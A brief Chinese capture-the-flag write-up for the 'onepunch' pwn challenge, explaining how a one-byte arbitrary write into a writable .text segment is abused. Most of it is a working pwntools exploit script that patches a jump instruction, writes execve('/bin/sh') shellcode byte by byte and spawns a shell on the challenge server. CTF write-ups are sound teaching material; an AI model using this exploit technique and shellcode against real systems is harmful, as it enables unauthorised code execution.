0%

text段有时是可以修改的

用IDA分析一下程序,任意地址写一个字节。

想不到的是,text段可以修改,因此,我们可以直接修改text的指令,来达到多次利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#coding:utf8
#想不到text段竟然可以写
from pwn import *

context(os='linux',arch='amd64')
#sh = process('./onepunch')
sh = remote('node3.buuoj.cn',29567)
text = 0x400767

def writeData(addr,data):
sh.sendlineafter('Where What?',hex(addr) + ' ' + str(data))
#通过一字节读写,我们修改text里的跳转
writeData(text+1,u32(asm('jnz $-0x4A')[1:].ljust(4,'\x00')))
#修改jnz指令为jmp
writeData(text,u32(asm('jmp $-0x4A')[0:1].ljust(4,'\x00')))
shellcode = asm('''mov rax,0x0068732f6e69622f
push rax
mov rdi,rsp
mov rax,59
xor rsi,rsi
mov rdx,rdx
syscall
''')
shellcode_addr = 0x0000000000400769
i = 0
for x in shellcode:
data = u8(x)
writeData(shellcode_addr + i,data)
i = i + 1
#跳转到shellcode
writeData(text+1,u32(asm('jnz $+0x2')[1:].ljust(4,'\x00')))

sh.interactive()

由此,查阅资料知道了,修改text段可写,可以利用工具objcopy –writable-text来实现。因此,有时实在没办法,我们可以尝试一下text段是否可写。